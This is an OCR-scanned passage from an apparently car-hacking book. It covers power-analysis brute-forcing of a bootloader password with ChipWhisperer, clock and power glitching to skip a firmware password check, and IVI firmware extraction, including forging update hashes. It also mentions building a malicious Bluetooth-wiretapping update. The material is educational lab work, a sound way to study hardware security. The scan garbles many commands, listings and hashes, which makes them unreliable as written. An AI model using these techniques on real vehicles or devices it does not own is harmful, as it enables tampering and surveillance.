We use the serial command se1t. target.driver.ser.write("@@@") tO send
the current password for the bootloader. Next, we enter the serial command
self.target.driver.ser.read(255) tO read up to the next 255 bytes from the
bootloader to see its response to our sending the password (see Figure 8-13).

Python Console 7 X
>>> selftarget.driver.ser.write("@@@") Al
>>> self.target.driver.ser.read(255)
u'TSB\x7fx1c\xf0\x1e\x95\x0f@\xc0>\xff\x03\xaa\xaa!" :I

>>> ||

Figure 8-13: Sending eee via ChipWhisperer’s Python console

For convenience, first assign the read and write commands to their own
variables so you don’t have to enter such a long command (the following
examples assume you’ve completed this step):

>>> read = self.target.driver.ser.read
>>> write = self.target.driver.ser.write

The password is stored in the last page of the device’s flash memory.
We’ll grab that page, remove the confirmation ! character from the
response, and write a new password—og—to the firmware.

Youw’ll find a more detailed explanation of this procedure in the NewAE
tutorials
(http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html)
or Python manuals.

Return to the Python console, and enter Listing 8-1.

>>> write('c')
>>> lastpage
>>> lastpage
>>> lastpage

read (255)
lastpage[:-1]
bytearray(lastpage, 'latin-1')


http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html

ord('o"')
ord('g')
255

>>> lastpagel[3]
>>> lastpage[4]
>>> lastpagel[5]
>>> write('C')
>>> write('!'")
>>> write(lastpage.decode('latin-1"))

Listing 8-1: Modifying the last page of memory to set the password to og

If the login times out, resend eee like so:

>>> write("@@@")

Once you’ve written the new characters to memory, verify that og is the
new password with write ("og"), followed by a reada(255) in the Python
console. Notice in Figure 8-14 that we first try sending eee but that we don’t

get a TinySafeBoot response until we send the og password.

Python Console EEE

xR ffxff!

>>> |astpage = lastpage[:-1]

>>> |astpage = bytearray(lastpage, 'latin-1')
>>> lastpagel3] = ord('0")

>>> lastpage[4] = ord('g’)

>>> lastpagel[5] = 255

>>> write('C")

>>> write('!")

>>> write(lastpage.decode('latin-1'))
>>> write('c’)

>>> read(255)

u't

PR xR R R R AR PR xR
xff\xf xR e xR xR ocR xR R Ao xR ey
xR AR xR AR AR AR AR AR PR PR
bt ivairiiviirairiiitavaaireiitgavaiiveiirdgaraiibaairegirriivaivdiitiivaaviiivaiil
xmx‘cffﬁxfﬂxfﬁxfﬁxfﬁxfﬁxfhxmxfﬁxfﬁxfﬁxfﬁxfﬂxfﬁxﬁ\xﬁ“mfﬁxfﬁxfﬁxfﬁxfﬁxfﬁxfﬁxfﬁ
xi\ !’

>>> write('q')

>>> write('@@@"')

>>> read(255)

uii

>>> write('og')

=== read(255)

u'TSBA\x7fix1c\xf0\x1e\x95\x0f@\xc0>\xff\x03\xaa\xaa!"

=

Kl

>>> ||




Figure 8-14: Setting the password to og

Resetting the AVR

Having changed the password, we can start reading power signals. First, we
need to be able to get out of the infinite loop that the system goes into when
we enter an incorrect password. Write a small script to reset the AVR when
this happens. While still in the Python console, enter the following
commands to create a resetAVR helper function:

>>> from subprocess import call
>>> def resetAVR:
call(["/usr/bin/avrdude", "-c", "avrispmkII", "-p", "m328p"])

Setting Up the ChipWhisperer ADC

Now, set up the ChipWhisperer ADC so that it knows how to record the
power trace. Return to the ChipWhisperer main window, click the Scope
tab, and set the values as shown in Table 8-3 and Figure 8-15.

Table 8-3: Scope Tab Settings to Set Up the OpenADC for the Victim

Board

Area Category  Setting Value

OpenADC Gain Setting Setting 40

OpenADCTrigger Setup Mode Falling edge
OpenADCTrigger Setup Timeout 7

OpenADCADC Clock  Source EXTCLK x1 via DCM
CW Extra Trigger Pins Front Panel A Uncheck

CW Extra Trigger Pins Target IO1 (Serial TXD)Check

CW Extra Trigger Pins Clock Source Target IO-IN

OpenADCADC Clock Reset ADC DCM Push button




Scope Settings & x

OpenADC Interface

connection ChipWhisperer Rev2 o
Auto-Refresh DCM Status = :
OpenADC-ZTEX
OpenADC
# HW Information
# Gain Setting
= Trigger Setup
Source digital
Digital Pin State =
Mode falling edge
Timeout (secs) 7
Offset o
Pre-Trigger Samples 0
Total Samples 24573
= Clock Setup
Refresh Status
Reset DCMs |
= ADC Clock
Source EXTCLE x1 via DCM L=
Fhase Adjust 0 o
ADC Freq 7.37 MHz o,
DCM Locked = Ly
Reset ADC DCM
i~ Freq Counter 7.37 MHz =9
i~ Freq Counter Src EXTCLE Input =
B CLKGEN Settings
£l CW Extra Settings
|2 Trinnar Bine =

General Set...  Scope Sett... | TargetSet... | Trace Sett... |

Figure 8-15: ADC values to trigger on Serial TX

Monitoring Power Usage on Password Entry

Now we’ll monitor the power usage when entering a password to see
whether we can spot a difference in power between a valid and an invalid
password. We’ll look at what happens when we enter the now invalid
password of eee. Recall from earlier that when the bootloader detects that
you've entered a wrong password, it’ll go into an infinite loop, so we can
monitor what the power usage looks like at that point. Of course, you’ll need
to exit that infinite loop, so once you’ve tried the incorrect password and are
sent into a loop, reset the device and try to enter another password. To do



this, navigate to the password prompt in the Python console as follows:

>>> resetAVR()
>>> write("@@@")

Now, issue the next command with the correct password, but do #ot click
Enter yet:

>>> write("og")

Click 1 in the green play icon in the toolbar to record one power trace.
Immediately after you do so, click Enter in the Python console. A Capture
Waveform window should open and show you the power trace recording of
the valid password (see Figure 8-16).

Capture Waveform (Channel 1) HE
X:|ve X ¥l VI Rw v X
Power Trace View
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Figure 8-16: Power trace of a valid password

The details of Figure 8-16 aren’t that important; the point is to give you a
feel for what a “good” signal looks like. The thick lines you see are normal
processing, and there’s a dip around the 8,000 sample range when the



processing instructions changed. (This could be something in the password
check, but let’s not get hung up on details at this stage.)

Now, enter an invalid password—¢«:

>>> resetAVR()
>>> write("@@@")
>>> write("££f")

Figure 8-17 shows the power trace for this password.
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Figure 8-17: Power trace for a password with no valid characters

You can see that the program hangs in its infinite loop when the power
reading shifts from normal to a near consistent 0 power usage.

Now, let’s try a password with a valid first character to see whether we
notice a difference:

>>> resetAVR()
>>> write("@@@")
>>> write("of")




In Figure 8-18, one additional chunk is active before the device enters the
infinite loop. We see normal power usage, followed by the dip at 8,000 that
we saw in the first valid reading, and then some more normal usage before
the device enters the infinite loop of 0 usage.

Capture Waveform (Channel 1)

[x:[vs X ¥ ¥ v X

Power Trace View
-65000 -4000 -2000 0 2000 4000 6000 8000 10000 12000 14000 16000 13000 20000 22000 24000

0.3

0.2

0.1

0.1

0.2

0.3

6000 4000  -2000 [ 2000 4000 6000 8000 10000 12000 13000 16000 18000 20000 22000 24000
Samples

Figure 8-18: Power trace of a password with a valid first character

You can determine the size of samples used for one valid character by
measuring the length between the dip at 8,000 and the infinite loop that starts
around 16,000. In this case, we can roughly approximate that the sample size
to check one character is about 8,000 traces (16,000 — §,000).

Scripting the ChipWhisperer with Python

Because the ChipWhisperer is written in Python, it’s highly scriptable, so
you can script these power traces to create a brute-forcer that can get the
password for the bootloader very quickly. By setting a script to check



whether the data points of the power trace exceed a set threshold, your
brute-forcer can immediately tell whether the target character is correct. By
looking at the data values on the y-axis in Figure 8-18, we can see that when
we have activity, data reaches 0.1, but when we’re in the infinite loop, it
hovers around the 0 mark. If the target character is correct, the threshold for
our script can be set to 0.1, and if no data in the sample range of a byte
reaches 0.1, then we can conclude that we’re in the infinite loop and the
password character was incorrect.

For example, if the password is made up of 255 different characters with a

maximum length of 3, the password will be one of 2553, or 16,581,375,
possibilities. However, because we can instantly detect when we have a
correct character, in a worst-case scenario, the brute-forcer will have to try
only 255 x 3, or 765, possibilities. If the character doesn’t match the set
password, the bootloader jumps into the infinite loop. On the other hand, if
the password check routine waited until the entire password was checked
regardless of its correctness, this type of timing analysis couldn’t be done.
The fact that the small code on embedded systems is often designed to be as
efficient as possible can open it up to devastating timing attacks.

For details on how to write your own brute-forcer for the ChipWhisperer, see
the NewAE tutorials. A sample brute-forcer is included at
http://www.nostarch.com/carhacking/.

Secure bootloaders and any embedded system that checks for a valid code
can be susceptible to this type of attack. Some automotive systems require a
challenge response or a valid access code to access lower-level functions.
Guessing or brute-forcing these passwords can be very time consuming and
would make traditional brute-forcing methods unrealistic. By using power
analysis to monitor how these passwords or codes are being checked, you can
derive the password, making something that would’ve been too time
consuming to crack completely doable.

Fault Injection

Fault injection, also known as glitching, involves attacking a chip by disrupting


http://www.nostarch.com/carhacking/

its normal operations and potentially causing it to skip running certain
instructions, such as ones used to enable security. When reading a chip’s
data sheet, you'll see that attached to the range for clock speeds and power
levels is a warning that failing to stick to these ranges will have unpredictable
results—and that’s exactly what you’ll take advantage of when glitching. In
this section, you’ll learn how to introduce faults by injecting faults into clock
speeds and power levels.

Clock Glitching

Any ECU or chip will rely on an internal clock to time its instructions. Each
time the microcontroller receives a pulse from the clock, it loads an
instruction, and while that instruction is being decoded and executed, the
next instruction is being loaded. This means that a steady rhythm of pulses is
needed for the instructions to have time to load and execute correctly. But
what happens if there’s a hiccup during one of these clock pulses? Consider
the clock glitch in Figure 8-19.

CLK 1 l
INSTRUCTION 1 2 3 4 5 &

Attacker CLK | | | l
INSTRUCTION 1 2 3 4 5 é

Attack
Figure 8-19: Normal clock cycle (top) and glitched clock cycle (bottom)

Because the Program Counter has time to increment but not enough
time to decode and execute the instruction before the next instruction is
loaded, the microcontroller will usually skip that instruction. In the bottom
cycle of Figure 8-19, instruction 3 is skipped because it does not have
enough time to execute before another instruction is issued. This can be
useful for bypassing security methods, breaking out of loops, or re-enabling

JTAG.

To perform a clock glitch, you need to use a system faster than your
target’s system. A field-programmable gate array (FPGA) board is ideal, but
you can accomplish this trick with other microcontrollers, too. To perform



the glitch, you need to sync with the target’s clock, and when the instruction
you want to skip is issued, drive the clock to ground for a partial cycle.

We’ll demonstrate a clock-glitching attack using the ChipWhisperer and
some demo software made for this kind of attack. The Victim Board setup is
almost the same as for the power attack, except that you’ll need to change
the jumpers for the Clock pin (in the middle of the board), which should be
set only for FPGAOU'T by jumping the pins (see Figure 8-20).
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Figure 8-20: MultiTarget Victim Board set for glitching

We’ll set up the ChipWhisperer to control the clock of the ATmega328.
Both the general settings and the target settings are the same as in the power
attack discussed in “Setting Up the ChipWhisperer for Serial
Communications” on page 140; the only exception is that we’ll set the baud
rate to 38400 for both TX and RX. Enable both the Scope and Target by
switching from DIS to CON in the toolbar, as discussed earlier. Figure 8-21
and 'Table 8-4 show the complete settings.



Scope Settings

Parameter Value
i~ Freq Counter 7.27 MHz
Freq Counter Src CLKGEN Qutput

E CLKGEN Settings

~— Input Source system

— Multiply 14

— Divide 57

DCM Locked 1=
Reset CLKGEN DCM |

Desired Frequency 7.37 MHz ﬁ

E CW Extra Settings
- Trigger Pins
- Front Panel A I~
- Front Panel B [
—Target 101 (Serial TXD) I
+ Target 102 (Serial RXD) i
~ Target 103 (SmartCard Serial) ™
~—Target 104 (Trigger Line) |
- Collection Mode OR
Trigger Module Basic (Edge/Level)
Trigger Out on FPA I}
i~ Clock Source Front Panel A
+ Target HS 10-Out Glitch Module
£ Target 10n Pins
— Target 101 Serial TXD
—Target 102 Serial RXD
—Target 103 High-Z
Target 104 High-Z
£ Target 1On GPIO Mode
 Target 101: GPIO
—Target 102: GPIO
Target 103: GPIO 5
Target 104: GPIO )
Glitch Module
Clock Source CLKGEN
Glitch Width (as % of period) 0
Glitch Width (fine adjust) 0 -

General Settings _ Scope Settings | Target Settings | Trace Settings |

Figure 8-21: Scope settings for glitching

Table 8-4: ChipWhisperer Main Window Settings for a Clock-Glitch Attack

Area Category Setting Value
OpenADC ADC Clock Frequency CLKGEN Output

Counter Src




OpenADC CLKGEN Desired 7.37 MHz

Settings Frequency
OpenADC CLKGEN Reset CLKGEN  Push button
Settings DCM
Glitch module Clock Source CLKGEN
CW Extra Trigger Pins Target HSIO-  Glitch Module
Out

These settings give the ChipWhisperer full control of the target board’s
clock and allow you to upload the glitch demo firmware. You'll find the
firmware for the target in the ChipWhisperer framework in this directory:
hardware/victims/firmware/avr-glitch-examples. Open glitchexample.c in your
favorite editor and then go to the main () method at the bottom of the code.
Change glitchl () to glitch3 () in order to follow along with this demo, and
then recompile the glitchexample firmware for the A'Tmega328p:

S make MCU=atmega328p

Now, upload the glitchexample.hex file via AVRDUDESS, as we did in
“Prepping Your Test with AVRDUDESS” on page 139. Once the firmware
is loaded, switch to the main ChipWhisperer window and open a serial
terminal. Click Connect, and then switch to AVRDUDESS and click
Detect. This should reset the chip so that you see hel1o appear in the
capture terminal. Enter a password, and click Send. Assuming you enter the
wrong password, the capture terminal should display rosf and hang, as
shown in Figure 8-22.



ChipWhispererCapture.py

hello
Cpassword

FOff

Clear I

[l Send

TX on Enter: |\n | RX: Show non-ASCli as hex [

Connect | Set target in main GUI

Figure 8-22: A bad password example

Now return to your editor and look at the glitchexample source code. As
shown in Listing 8-2, this is a simple password check.

for(cnt = 0; cnt < 5; cnt++) {
if (inpl[cnt] != passwd[cnt]) {
passok = 0;

}
}

if (!passok
output_ch_0
output_ch_0
output_ch_0
output_ch_0
output_ch_0
} else {
output_ch_0
output_ch_0
output_ch_0
output_ch_0
output_ch_0
output_ch_0
output_ch_0
output_ch_0
}

o~~~ o~ o~ ~—

~ o~~~ o~~~ —




Listing 8-2: Password check method for giitch3 ()

If an invalid password is entered, passok is set to 0, and the message roft
is printed to the screen; otherwise, welcome is printed to the screen. Our goal
is to introduce a clock glitch that bypasses the password verification either by
skipping over the instruction that sets passok to 0 (so that it’s never set to 0)
or by jumping straight to the welcome message. We’ll do the latter by
manipulating the width and offset percentages in the glitch settings.

Figure 8-23 shows some possible places to locate the glitch. Different
chips and different instructions react differently depending on where your
glitch is placed, so experiment to determine which location works best for
your situation. Figure 8-23 also shows what a normal clock cycle looks like
under a scope. If we use a positive offset in the ChipWhisperer settings, it’ll
cause a brief drop in the middle of the clock cycle. If we use a negative offset,
it'll cause a brief spike before the clock cycle.

We’ll set the following glitch options in the ChipWhisperer to cause a
brief spike before the clock cycle by using a =10 percent offset:

Glitch width %: 7

Glitch Offset %: -10

Glitch Trigger: Ext Trigger: Continuous
Repeat: 1
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Figure 8-23: Example glitch placements

Now return to the ChipWhisperer main window to set up the CW
Extras, as shown in Figure 8-24. This will configure the ChipWhisperer to



cause the clock glitch only when it gets a signal from the trigger line.

O e A R R N ST |
El- CW Extra Settings
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--Trigger Out on FPA B
- Clock Source Front Panel A

Figure 8-24: Glitch setup in the CW Extra Settings

Glitching is an inexact science. Different chips will respond to settings
differently, and you’ll need to play around with settings a lot to get the timing
right. Even if you fail to exploit the clock glitch consistently, often you’ll need to
get it right only once to exploit a device.

Setting a Trigger Line

Now that we have the ChipWhisperer set up to listen for a signal on the
trigger line, we need to modify the code to use the trigger line. The trigger
line is pin 16 on the ChipWhisperer connector. When the trigger line
receives a signal (voltage peaks), it triggers the ChipWhisperer software to
spring into action.

The trigger line is a generic input method used by ChipWhisperer. The
goal is to get the trigger line to receive a signal just before the point we want
to attack. If we were looking at a piece of hardware and noticed a light come
on just before the area we wanted to attack, we could solder the LED to the
trigger line in order to make the ChipWhisperer wait until just the right
moment.

For this demo, we’ll modify the firmware to make the trigger line go off




in the area we want to glitch. First we’ll add some code to the default glitch
3 example shown in Listing 8-2. Use your favorite editor to add the defines
in Listing 8-3, toward the top of the glizchexample.c.

#define trigger_setup() DDRC |= 0x01
#define trigger_high() PORTC |= 0x01
#define trigger_low() PORTC &= ~(0x01)

Listing 8-3: Setting up trigger defines in g1itchexample.c

Place a trigger_setup() inside the main () method just before it prints
hello, and then wrap your target with the trigger, as shown in Listing 8-4.

for(cnt = 0; cnt < 5; cnt++) {
if (inpl[cnt] != passwd[cnt]) {
trigger_high() ;
passok = 0;

trigger_low() ;
}
}

LIStII’Ig 8-4: Add/ng trigger high and trigger low around passok to tr/gger
a glitch

Now, recompile nake Mcu=atmega328p, and reupload the firmware to the
Victim Board. (Make sure to set the Glitch Trigger option to Manual in the
ChipWhisperer settings before you upload the firmware or you may
accidentally glitch the firmware upload.) Once the firmware is uploaded,
switch the Glitch Trigger option back to Ext Trigger:Continous. Now,
enter any password. If you get a welcome message, you've successfully
glitched the device, as shown in Figure 8-25.



Clock Source HONt Hanel A ay
- Target HS 10-Out Glitch Module é
= Target 1On Pins
~— Target 101 Serial TXD
Target 102 Serial RXD
Target 103 High-2
Target 104 High-Z
Target IO1: GPIO o
Target 102: GPIO ) hello =
Target 103: GPIO iy C
" Target 104: GFIO ; i
C
Clock Source CLKGEN Egli]);ne Clear
Glitch Width (as % of period) 7 CFOff
Glitch Width (fine adjust) 0 : hella
Glitch Offset (as % of period) -10 E'.'e!come
Glitch Offset (fine adjust) 0 EI
Glitch Trigger Ext Trigger:Continous ¥ e
Ext Trigger Offset 0 I L Send )
Repeat 1 TonEnter: \n | RX:Show non-ASCHl as hex I
Manual Tﬂqgerl Connect | Set target in main GUI
OUiptRicoe 2ot B —————————
Read Status
Bemm—=y o
General Settings ~ Scope Settings [ Target Settings | Trace Settings |

Figure 8-25: Successfully glitching password check

Unfortunately, in the real world, you probably won’t be able to use a
trigger line in the same way because you won’t have access to the target
source or a trigger event won’t be close enough to where you want to glitch.
In such cases, you’ll need to play with other settings and the Ext trigger
offset. Open the Glitch Monitor under Tools to experiment with different
settings.

Power Glitching

Power glitching is triggered like clock glitching: you feed the target board
the proper power at a steady rate, and when you want to trigger unexpected
results at particular instructions, you either drop or raise the voltage to
interrupt that instruction. Dropping the voltage is often safer than raising it,
so try that first. Each microcontroller reacts differently to power glitching,
so play around at different points and power levels to build a glitch profile
and see what types of behavior can be controlled. (When instructions are
skipped via power glitching, it’s often because the opcode instruction has
become corrupted and done something other than the intended instruction
or because one of the registers has become corrupted.)



Some microcontrollers aven’t vulnerable at all to power glitching, so test with
your target chipset before trying it on a vebicle.

Power glitching can also affect memory reads and writes. Depending on
which instruction is running during the power fault, you can cause the
controller to read the wrong data or forget to write a value.

Invasive Fault Injection

Because invasive fault injection attacks are more time-consuming and
expensive than glitch attacks, we’ll examine them only briefly here.
However, if you need to do the job and you have the resources, invasive fault
injection is often the best way. The catch is that it doesn’t preserve the target
and can even destroy it.

Invasive fault injection involves physically unpacking the chip, typically
with acid (nitric acid and acetone) and using an electron microscope to
image the chip. You can work on just the top or bottom layer of the chip or
map out each layer and decipher the logic gates and internals. You can also
use microprobes and a microprobe station to inject the exact signal you want
into your target. By the same token, you could use targeted lasers or even
directed heat to cause optical faults to slow down processes in that region.
For instance, if a move instruction is supposed to take two clock cycles, you
can slow the registry retrieval to make it late for the next instruction.

Summary

In this chapter, you’ve learned several advanced techniques for attacking
embedded systems; these techniques will become only more valuable as
automotive security improves. You learned how to identify chips and
monitor power usage to create a profile of good operations. We tested
whether password checks could be attacked by monitoring the power output
of bad characters in passwords, ultimately to create a brute-forcing
application using power analysis to cut the password brute-force time down
to seconds. We also saw how clock and power glitching can make
instructions skip at key points in the firmware’s execution, such as during



validation security checks or when setting JTAG security.



9
IN-VEHICLE INFOTAINMENT SYSTEMS

In-vebicle infotainment (IV1) system is the name often given to the touchscreen
interface in a car’s center console. These consoles often run an operating
system such as Windows CE, Linux, QNX, or Green Hills and may even
run Android in a VM as well. They can support numerous features with
varying levels of integration with the vehicle.

The IVI system offers more remote attack surfaces than any other vehicle
component. In this chapter, you’ll learn how to analyze and identify an IVI
unit, how to determine how it works, and how to overcome potential
hurdles. Once you understand your IVI system, you’ll have gained a great
deal of insight into how your target vehicle works. Gaining access to the IVI
system will not only allow you to modify the IVI itself but also will open a
door to additional information about how your vehicle works, such as how it
routes CAN bus packets and updates the ECU. Understanding the IVI
system can also provide insight into whether the system phones home to the
manufacturer; if it does, you can use access to the IVI to see what data is
being collected and potentially transmitted back to the manufacturer.

Attack Surfaces

IVI systems typically have one or more of these physical inputs that you can



use to communicate with a vehicle:

Auxiliary jack

* CD-ROM

*DVD

* T'ouchscreen, knobs or buttons, and other physical input methods

* USB ports

One or more wireless inputs

® Bluetooth

* Cellular connection

* Digital radio (such as Digital Audio Broadcasting)
* GPS

* Wi-Fi

* XM Radio

Internal network controls
* Bus networks (CAN, LIN, KWP, K-Line, and so on)
¢ Fthernet

* High-speed media bus

Vehicles often use CAN to communicate with their components, such as
modules, ECUs, IVI systems, and telematic units. Some IVI systems use
Ethernet to communicate between high-speed devices, whether to send
normal IP traffic or CAN packets using Electronic System Design’s

NTCAN or the Ethernet low-level socket interface (ELLSI). (For more on
vehicle protocols, see Chapter 2.)

Attacking Through the Update System

One way to attack the IVI system is to go after its software. If your skill set
primarily lies in the realm of software-related services, you may feel most
comfortable with this method, and if you’ve ever researched embedded



devices, such as home Wi-Fi routers, some of the methods discussed in the
following should look familiar to you.

We’ll focus on using system updates to gain access to the system. It may
be possible to access the system through other software means, such as a
debug screen, an undocumented backdoor, or a published vulnerability, but
we’ll focus on gaining access through software updates because that method
is the most generic across IVI systems and is the primary one used to identify
and access a target system via software.

Identifying Your System

In order to fully understand your target IVI system, you must first determine
what kind of software it’s running. Next, you need to figure out how to
access this software, which often involves looking for the methods the IVI
uses to update or load its operating system. Once you understand how the
system updates, you’ll have the knowledge you need to identify
vulnerabilities and modify the system.

Before you can begin making modifications, you need to know what
operating system the IVI is running. The easiest way to do so is to search for
the brand of the IVI—first, by looking for a label on the outside of the IVI
unit or frame. If you don’t see a label, look for a display option on the
interface that displays software version numbers and often the device name.
Also, check online to see whether anyone has already researched your target
system and, if the system is manufactured by a third party, whether it has a
website and firmware updates. Download any firmware or tools you can find
for later use. Find out how the system is updated. Is there a map update
service available? What other update methods are available? Even if you find
that system updates are sent over the air, it’s usually possible to find USB
drives or a DVD containing map updates, like the one from a Honda Civic
shown in Figure 9-1.



Figure 9-1: NavTeq infotainment unit in an open state

This IVI has a normal CD tray for music at the top plus a hidden plastic
door at the bottom that folds down to reveal a DVD tray holding the map
software.

Determining the Update File Type

System updates are often delivered as compressed files with .zip or .cab file
extensions, but sometimes they have nonstandard extensions, like .b:n or .dat.
If the update files have .exe or .dll extensions, you’re probably looking at a
Microsoft Windows—based system.

To determine how the files are compressed and their target architecture,
view their headers with a hex editor or use a tool such as £i1e available on
*“nix-based systems. The fi1e command will report a file’s architecture, such
as ARM or, as with the Honda Civic IVI shown in Figure 9-1, a Hitachi
SuperH SH-4 Processor. This information is useful if you want to compile
new code for a device or if you plan on writing or using an exploit against it.

If the file command hasn’t identified the type of file, you may be looking
at a packed image. To analyze a firmware bundle, you can use a tool such as
binwalk, which is a Python tool that uses signatures to carve out files from a



collected binary. For instance, you can simply run binwalk on your firmware
image to see a list of identified file types:

$ binwalk firmware.bin

DECIMAL HEX DESCRIPTION

0 ox0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"

112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432
bytes, uncompressed size: 3797616 bytes

1310832 0x140070 PackImg section delimiter tag, little endian size: 13644032 bytes; big
endian size: 3264512 bytes

1310864 0x140090 Squashfs filesystem, little endian, version 4.0, compression:lzma,

size: 3264162 bytes, 1866 inodes, blocksize: 65536 bytes, created:
Tue Apr 3 04:12:22 2012

Using the -e flag would extract each of these files for further analysis and
review. In this example, you can see a SquashFS filesystem was detected.

This filesystem could be extracted with the -e flag and then “unsquashed”
using the unsquashfs tool to view the filesystem, as I've done here:

S binwalk -e firmware.bin
S ed firmware.bin.extracted
S unsquashfs -f -d firmware.unsquashed 140090.squashfs

The binewalk -e commands will extract all known files from firmware.bin
to the folder _firmware.bin.extracted. Inside that folder, you’ll see files named
after their hex address with an extension that matches the detected file type.
In this example, the squashfs file is called 140090.squashfs because that was the
location in firmware.bin.

Modifying the System

Once you know your system’s OS, architecture, and update method, the next
thing to do is to see whether you can use this information to modify it. Some
updates are “protected” by a digital signature, and these can be tricky to
update. But often there’s no protection or the update process will simply use
an MD5 hash check. The best way to find these protections is to modify the
existing update software and trigger an update.

A good starting point for system modification is something with a visible
result, like a splash screen or icon because once you successfully change it,



you’ll know immediately (see Figure 9-2).

Figure 9-2: Example modification: NavTeq unit with a modified splash
screen

Figure 9-2 shows how I modified the splash screen of an IVI system by
replacing the normal background image with a Jolly Roger flag and the
vehicle’s emblem with a character from Street Fighter. Replacing images in
your splash screen is a safe way to ensure you can modify the IVI system
without much risk of breaking the system.

Find an image in your update file, modify it, then reburn the update
DVD and force a system update. (Find out how in the IVI’s manual.) If the
update files were compressed in a single archive, be sure to recompress the
modified version so that it appears in the same format as before you
modified it.

If you run into a checksum issue and your update fails, look for a file in
the update that might be a hash, such as a text file containing strings like



4cb1b61d0ef0ef683ddbed607c74f2bf. You'll need to update this file with the
hash of your new modified image. You may be able to guess the hashing
algorithm by looking at the size of the hash and performing some trial and
error. For instance, an 8-character hash, such as d579793f, may be CRC32; a
32-character hash, such as c46c4c4782a4b6¢32934e£6559d25002f, may be an
MDS5 hash; and a 40-character hash, such as 0aaedee31976f-
350a9ef821d6e7571116e848180, may be SHA-1. These are the three most
common hash algorithms, but there are others you might come across, and a
quick Google search or reference to the tables at
https://en.wikipedia.org/wiki/List_of_bash_functions should give you a clue as to
which algorithm was used.

The Linux tools cre32, mdssum, and shaisum will let you quickly calculate
the hash of an existing file and compare it to the contents of the original text
file. If you can generate a hash that matches that of the existing file, then
you’ve found the correct algorithm.

For example, say you find a single file on an update DVD called
Validation.dat that lists the contents of the files on the DVD, as shown in
Listing 9-1. 'This listing includes the names of three files on the DVD and
their associated hashes.

09AVN.bin b46489cllcc0cf01e2£987c0237263f9
PROG_INFO.MNG 629757e00950898e680a61dfd4leacl92
UPDATE_APL.EXE 7el1321b3c8423b30clcb077a2e3ac4f0

Listing 9-1: Sample validation.dat file found on an update DVD

The length of the hash listed for each file—32 characters—suggests that
this might be an MDS5 hash. To confirm, use the Linux mdssum tool to
generate an MDS5 hash for each file. Listing 9-2 shows what that would look
like for the 09AVN.bin file.

S md5sum 09AVN.bin
b46489¢c1lcc0cf01e2£987¢c0237263£f9 09AVN.bin

Listing 9-2: Using massum to see the hash of the 09AVN.bin file

Compare the hash for 094V N.bin in Listing 9-1 with the results of

running mdssum in Listing 9-2, and you’ll see that the hashes match; we’re
indeed looking at an MD5 hash. This result tells us that in order to modify


https://en.wikipedia.org/wiki/List_of_hash_functions

09AVN.bin, we’d need to recalculate the MDS5 hash and update the
Validation.dat file that contains all the hashes with the new hash.

Another way to determine the algorithm used to create the hash is to run
the strings command on some of the binaries or DLLs in your update
package to search for strings in the file, like MD5 or SHA. If the hash is

small, like d579793f, and CRC32 doesn’t seem to work, you’re probably
looking at a custom hash.

In order to create a custom hash, you need to understand the algorithm
used to create that hash, which will require digging in with a disassembler,
such as IDA Pro, Hopper, or radare2, which is free. For instance, Listing 9-3
shows sample output from a custom CRC algorithm viewed in radare2:

| .------ > 0x00400733 488b9568fff. mov rdx, [rbp-0x98]
n.0040077c 107

0x0040073a 488d855ffff. lea rax, [rbp-0xall
0x00400741 4889d1 mov rcx, rdx

0x00400744 ba01l000000 mov edx, O0x1

0x00400749 be01000000 mov esi, O0x1l

0x0040074e 4889c7 mov rdi, rax

0x00400751 e8dafdffff call sym.imp.fread

sym. imp. fread()

0x00400756 8b9560ffffff mov edx, [rbp-0xal]

0x0040075c 89d0 mov eax, edx O
0x0040075e cle005 shl eax, 0x5 O

0x00400761 01lc2 add edx, eax ©

0x00400763 0fb6855ffff. movzx eax, byte [rbp-0xall]
0x0040076a 0OfbecO0 movsx eax, al

0x0040076d 01d0 add eax, edx

0x0040076f 898560ffffff mov [rbp-0xal], eax
0x00400775 838564fffff. add dword [rbp-0x9c], 0xl1
; CODE (CALL) XREF from 0x00400731 (fcn.0040066c)
e —— > 0x0040077c 8b8564ffffff mov eax, [rbp-0x9c]

| | | 0x00400782 4863d0 movsxd rdx, eax

| | | 0x00400785 488b45a0 mov rax, [rbp-0x60]

| | 0x00400789 4839c2 cmp rdx, rax

| “======< 0x0040078c 7ca5 jl 0x400733

_—— Y —_——_—— - - 0N

Listing 9-3: Disassembly of a CRC checksum function in radare2

Unless you’re good at reading low-level assembler, this may be a bit
much to start with, but here we go. The algorithm in Listing 9-3 reads in a
byte at @, multiplies it by 5 at @, and then, at ©, adds it to the hash to
calculate the final sum. The rest of the assembly is mainly used by the reaa



loop to process the binary file.

Apps and Plugins

Whether your goal is to perform firmware updates, create custom splash
screens, or achieve other exploitation, you’ll often find that you can get the
information you need to exploit or modify a vehicle by going after IVI
applications rather than the IVI operating system itself. Some systems allow
third-party applications to be installed on the IVI, often through an app
store or a dealer-customized interface. For example, you’ll notice there’s
usually a way for developers to sideload apps for testing. Modifying an
existing plugin or creating your own can be a great way to execute code to
further unlock a system. Because standards are still being written to define
how applications should interface with the vehicle, every manufacturer is free
to implement its own API and security models. These APIs are often ripe for
abuse.

Identifying Vulnerabilities

Once you’ve found out how to update your system—whether by modifying
the splash screen, company logo, warranty message, or other item—you’re
ready to look for vulnerabilities in the system. Your choice of how to
proceed will depend on your ultimate goal.

If you’re looking for existing vulnerabilities in the infotainment unit, the
next step is to pull all the binaries off the IVI so you can analyze them. (This
research is already covered in great detail in several books about reverse
engineering, so I won’t go into detail here.) Check the versions of binaries
and libraries on the system. Often, even in the case of map updates, the core
OS is rarely updated, and there’s a good chance that an already identified
vulnerability exists on the system. You may even find an existing Metasploit
exploit for the system!

If your goal is, for example, to create a malicious update that wiretaps a
vehicle’s Bluetooth driver, you have almost everything you need at this stage
to do so. The only piece you may still need is the software development kit
(SDK), which you use to compile the target system. Getting your hands on
one will make your task much easier, although it’s still possible to create or
modify a binary using a hex editor instead. Often the infotainment OS is



built with a standard SDK, such as the Microsoft Auto Platform.

For example, consider a navigation system with certain protections
designed to prevent a customer from using a DVD-R in the system. The
manufacturer’s original idea was to charge owners $250 to purchase updated
mapping DVDs; and they wanted to prevent people from simply copying
someone else’s DVD.

In its attempt to prevent this type of sharing, the manufacturer added
several DVD checks to the navigation system, as shown in the IDA display
sample code in Figure 9-3. But say as a consumer you want to use a backup
copy of your purchased DVD in your system rather than the original
